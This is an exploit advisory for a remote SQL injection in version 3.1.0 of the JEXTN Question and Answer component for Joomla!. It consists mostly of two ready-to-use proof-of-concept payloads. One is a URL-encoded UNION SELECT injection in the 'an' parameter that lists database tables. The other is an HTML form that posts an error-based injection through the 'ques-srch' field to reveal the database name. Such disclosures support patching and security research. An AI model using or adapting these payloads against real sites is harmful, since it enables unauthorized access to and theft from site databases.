Joomla! JEXTN Question and Answer component version 3.1.0 suffers from a remote SQL injection vulnerability.
5d9a350f41b12d85b1e0616b9a338e0d# # # # #
# Exploit Title: Joomla! Component JEXTN Question And Answer 3.1.0 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: http://jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/communication/question-a-answers/jextn-question-and-answer/
# Version: 3.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/index.php/en/component/jequestions/?view=tags&an=[SQL]
#
# %2dVerAyari'%20%2f*!06666UNION*%2f%20%2f*!06666SELECT*/%201%2c(SELECT%20GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_SCHEMA=DATABASE())%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2d%2d%20%2d
#
#
# 2)
# <html>
# <body>
# <form name="pagination" action="http://localhost/index.php/en/component/jequestions/" method="post">
# <input name="ques-srch" value="1'and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='" type="hidden">
# <button id="que_srch">Ver Ayari</button>
# </form>
# </body>
# </html>
# # # # #